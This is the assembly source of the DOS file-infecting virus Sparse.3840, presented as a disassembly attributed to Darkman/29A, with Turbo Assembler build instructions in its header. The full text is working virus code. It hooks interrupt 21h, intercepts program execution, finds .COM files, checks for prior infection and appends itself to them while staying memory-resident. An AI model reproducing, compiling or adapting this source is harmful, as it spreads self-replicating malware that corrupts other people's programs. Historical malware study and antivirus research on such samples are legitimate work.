comment * Sparse.3840 Disassembly by Darkman/29A Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load and/or execute program by appending the virus to the infected file. To compile Sparse.3840 with Turbo Assembler v 4.0 type: TASM /M SPARSE.ASM TLINK /t /x SPARSE.OBJ * .model tiny .code org 100h ; Origin of Sparse.3840 code_begin: mov ax,4b55h ; Sparse.3840 function int 21h cmp ax,1231h ; Already resident? je virus_exit ; Equal? Jump to virus_exit mov ax,3521h ; Get interrupt vector 21h int 21h mov al,11101010b ; JMP imm32 (opcode 0eah) mov [jmp_imm32],al ; Store JMP imm32 (opcode 0eah) mov word ptr [int21_addr],bx mov word ptr [int21_addr+02],es mov ax,2521h ; Set interrupt vector 21h lea dx,int21_virus ; DX = offset of int21_virus int 21h mov ah,4ah ; Resize memory block push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov bx,0efh ; BX = new size in paragraphs int 21h mov ah,48h ; Allocate memory mov bx,1000h ; BX = number of paragraphs to all... int 21h db 89h,0c7h ; MOV DI,AX db 89h,0c2h ; MOV DX,AX mov ah,50h ; Set current PSP address db 89h,0d3h ; MOV BX,DX int 21h mov ds,di ; DS = segment of allocated block push ds ; Save DS at stack pop es ; Load ES from stack (DS) push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov si,00h ; SI = offset of Program Segment P... mov di,00h ; DI = " " " " " mov cx,0ffh ; Move two hundred and fifty-five ... cld ; Clear direction flag move_psp: lodsb ; AL = byte of Program Segment Pre... stosb ; Store byte of Program Segment Pr... loop move_psp push es es ; Save segments at stack pop ds ss ; Load segments from stack mov bx,100h ; BX = offset of beginning of code push es bx ; Save registers at stack mov si,es ; SI = segment of PSP for current ... dec si ; SI = segment of current Memory C... mov ds,si ; DS = " " " " " mov ds:[01h],es ; Store PSP segment of owner mov si,es ; SI = segment of allocated memory mov ds,si ; DS = " " " " db 31h,0c0h ; XOR AX,AX db 31h,0dbh ; XOR BX,BX db 31h,0c9h ; XOR CX,CX db 31h,0d2h ; XOR DX,DX retf ; Return far! db 0f9h,0fbh,0ffh,6fh,0f5h,1ah,03h dup(40h),03 dup(23h),20h db 49h,42h virus_exit: push cs cs ; Save segments at stack pop es ds ; Load segments from stack lea si,restore ; SI = offset of restore mov di,0a0h ; DI = offset within commandline/d... cld ; Clear direction flag move_restore: lodsb ; AL = byte of restore stosb ; Store byte of restore cmp si,offset restore+(restore_end-restore) jne move_restore db 11101001b ; JMP imm16 (opcode 0e9h) dw 0ff0ah ; Offset of beginning of code db 0ah dup(00h),40h,44h,1eh dup(00h),60h,44h,1eh dup(00h) db 80h,44h,1eh dup(00h) int21_exit: jmp_imm32 db 11101010b ; JMP imm32 (opcode 0eah) int21_addr dw ? ; Address of interrupt 21h db 1dh dup(00h),0c0h,44h,1eh dup(00h),0e0h,44h,1eh dup(00h) restore proc near ; Restore the infected file lea si,code_end+100h ; SI = offset of code_end+100h mov di,100h ; DI = offset of beginning of code mov cx,0ef00h ; Move sixty-one thousand and one ... cld ; Clear direction flag move_origina: lodsb ; AL = byte of original code stosb ; Store byte of original code loop move_origina mov ax,00h ; Zero AX mov bx,00h ; Zero BX mov cx,00h ; Zero CX mov dx,00h ; Zero DX mov di,00h ; Zero DI mov si,00h ; Zero SI db 11101011b ; JMP imm8 (opcode 0ebh) db 3eh ; Offset of beginning of code endp restore_end: db 1eh dup(00h),40h,45h,1eh dup(00h),60h,45h,1eh dup(00h) db 80h,45h,1eh dup(00h) int21_virus: pushf ; Save flags at stack sti ; Set interrupt-enable flag cmp ah,4bh ; Load and/or execute program; Sp...? je load_and_exe ; Equal? Jump to load_and_exe popf ; Load flags from stack jmp int21_exit load_and_exe: cmp al,55h ; Sparse.3840 function? jne infect_file ; Not equal? Jump to infect_file popf ; Load flags from stack mov ax,1231h ; Already resident iret ; Interrupt return! infect_file: push ax bx cx dx si di ds es jmp tst_file_ext allocate_mem: mov ah,48h ; Allocate memory mov bx,0fffh ; BX = number of paragraphs to all... int 21h push ax ; Save AX at stack mov ah,3dh ; Open file (read/write) mov al,02h int 21h db 89h,0c3h ; MOV BX,AX mov ah,42h ; Set current file position (EOF) mov cx,00h ; CX:DX = offset from origin of ne... mov dx,00h ; " " " " " " " mov al,02h int 21h db 89h,0c1h ; MOV CX,AX push cx ; Save CX at stack mov ax,4200h ; Set current file position (SOF) mov cx,00h ; CX:DX = offset from origin of ne... mov dx,00h ; " " " " " " " int 21h pop cx ; Load CX from stack pop ds ; Load DS from stack (AX) mov dx,00 ; DX = offset of original code mov ah,3fh ; Read from file push cx ; Save CX at stack int 21h mov ah,42h ; Set current file position (SOF) mov cx,00h ; CX:DX = offset from origin of ne... mov dx,00h ; " " " " " " " mov al,00h int 21h jmp exam_file write_virus: mov ah,40h ; Write to file push ds ; Save DS at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov cx,(code_end-code_begin+100h) lea dx,code_begin ; DX = offset of code_begin int 21h pop ds ; Load DS from stack mov ah,40h ; Write to file mov dx,00h ; DX = offset of original code pop cx ; Load CX from stack int 21h mov ah,49h ; Free memory push ds ; Save DS at stack pop es ; Load ES from stack (DS) int 21h close_file: mov ah,3eh ; Close file int 21h infect_exit: pop es ds di si dx cx bx ax popf ; Load flags from stack jmp int21_exit db 12h dup(00h),40h,46h,1eh dup(00h),60h,46h,1eh dup(00h) db 80h,46h,1eh dup(00h) tst_file_ext: db 89h,0d6h ; MOV SI,DX cld ; Clear direction flag find_dot: lodsb ; AL = byte of filename cmp al,'.' ; Found the dot in the filename? jne find_dot ; Not equal? Jump to find_dot lodsb ; AL = byte of file extension cmp al,'C' ; COM extension? je com_file_ext ; Equal? Jump to com_file_ext cmp al,'c' ; COM extension? je com_file_ext ; Equal? Jump to com_file_ext jmp infect_exit nop com_file_ext: jmp allocate_mem db 08h dup(00h) exam_file: push ds es di si ; Save registers at stack mov si,00h ; SI = offset of original code push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,code_begin ; DI = offset of code_begin cld ; Clear direction flag mov cx,09h ; Compare nine bytes exam_file_: cmpsb ; Already infected? jne not_infected ; Not equal? Jump to not_infected loop exam_file_ pop si di es ds ; Load registers from stack pop cx ; Load CX from stack jmp close_file nop nop nop not_infected: pop si di es ds ; Load registers from stack jmp write_virus db 1ah dup(00h),47h,1eh dup(00h),20h,47h,1eh dup(00h),40h db 47h,1eh dup(00h),60h,47h,1eh dup(00h),80h,47h db 1eh dup(00h),0a0h,47h,1eh dup(00h),0c0h,47h,1eh dup(00h) db 0e0h,47h,1fh dup(00h),48h,1eh dup(00h),20h,48h db 1eh dup(00h),40h,48h,1eh dup(00h),60h,48h,1eh dup(00h) db 80h,48h,1eh dup(00h),0a0h,48h,1eh dup(00h),0c0h,48h db 1eh dup(00h),0e0h,48h,1fh dup(00h),49h,1eh dup(00h),20h db 49h,1eh dup(00h),40h,49h,1eh dup(00h),60h,49h db 1eh dup(00h),80h,49h,1eh dup(00h),0a0h,49h,1eh dup(00h) db 0c0h,49h,1eh dup(00h),0e0h,49h,1fh dup(00h),4ah db 02h dup(00h),07h,02h,19h,00h,07h,12h,19h,00h,07h,22h,19h db 00h,07h,32h,19h,00h,07h,42h,19h,00,07h,52h,19h,00h,07h db 62h,19h,00h,20h,4ah,02h dup(00h),07h,82h,19h,00h,07h,92h db 19h,00h,07h,0a2h,19h,00h,07h,0b2h,19h,00h,07h,0c2h,19h db 00h,07h,0d2h,19h,00h,07h,0e2h,19h,00h,40h,4ah db 02h dup(00h),07h,02h,1ah,00h,07h,12h,1ah,00h,07h,22h,1ah db 00h,07h,32h,1ah,00h,07h,42h,1ah,00h,07h,52h,1ah,00h,07h db 62h,1ah,00h,60h,4ah,02h dup(00h),07h,82h,1ah,00h,07h,92h db 1ah,00h,07h,0d2h,1ah,00h,07h,0e2h,1ah,00h,07h,0f2h,1ah db 00h,07h,02h,1bh,00h,07h,12h,1bh,00h,80h,4ah,02h dup(00h) db 07h,32h,1bh,00h,07h,42h,1bh,00h,07h,62h,1bh,00h,07h,72h db 1bh,00h,07h,82h,1bh,00h,07h,0a2h,1bh,00h,07h,0b2h,1bh,00h db 0a0h,4ah,02h dup(00h),07h,0d2h,1bh,00h,07h,0e2h,1bh,00h db 07h,0f2h,1bh,00h,07h,02h,1ch,00h,07h,12h,1ch,00h,07h,22h db 1ch,00h,07h,42h,1ch,00h,0c0h,4ah,02h dup(00h),07h,72h,1ch db 00h,07h,82h,1ch,00h,07h,0c2h,1ch,00h,07h,0d2h,1ch,00h,07h db 0e2h,1ch,00h,07h,0f2h,1ch,00h,07h,02h,1dh,00h,0e0h,4ah db 1fh dup(00h),4bh,1eh dup(00h),20h,4bh,1eh dup(00h),40h db 4bh,1eh dup(00h),60h,4bh,1eh dup(00h),80h,4bh db 1eh dup(00h),0a0h,4bh,1eh dup(00h),0c0h,4bh,1eh dup(00h) db 0e0h,4bh,1fh dup(00h),4ch,1eh dup(00h),20h,4ch db 1eh dup(00h),40h,4ch,1eh dup(00h),60h,4ch,1eh dup(00h) db 80h,4ch,1eh dup(00h),0a0h,4ch,1eh dup(00h),0c0h,4ch db 1eh dup(00h),0e0h,4ch,1fh dup(00h),4dh,1eh dup(00h),20h db 4dh,1eh dup(00h),40h,4dh,1eh dup(00h),60h,4dh db 1eh dup(00h),80h,4dh,1eh dup(00h),0a0h,4dh,1eh dup(00h) db 0c0h,4dh,1eh dup(00h),0e0h,4dh,1fh dup(00h),4eh db 02h dup(00h),07h,32h,1dh,00h,07h,42h,1dh,00h,07h,52h,1dh db 11h dup(00h),20h,4eh,1eh dup(00h),40h,4eh,1eh dup(00h) db 60h,4eh,1eh dup(00h),80h,4eh,1eh dup(00h),0a0h,4eh db 1eh dup(00h),0c0h,4eh,1eh dup(00h),0e0h,4eh,1fh dup(00h) db 4fh,1eh dup(00h),20h,4fh,1eh dup(00h),40h,4fh db 1eh dup(00h),60h,4fh,1eh dup(00h),80h,4fh,1eh dup(00h) db 0a0h,4fh,1eh dup(00h),0c0h,4fh,1eh dup(00h),0e0h,4fh db 1fh dup(00h),50h,1eh dup(00h),20h,50h,1eh dup(00h),40h db 50h,1eh dup(00h),60h,50h,1eh dup(00h),80h,50h db 1eh dup(00h),0a0h,50h,1eh dup(00h),0c0h,50h,1eh dup(00h) db 0e0h,50h,1fh dup(00h),51h,1eh dup(00h),20h,51h db 1eh dup(00h),40h,51h,1eh dup(00h),60h,51h,1eh dup(00h) db 80h,51h,0eh dup(00h),4dh,17h,0ah,0ffh,0fh,03h dup(00h) db 'SHELLC',02h dup(00h) code_end: int 20h ; Terminate program! end code_begin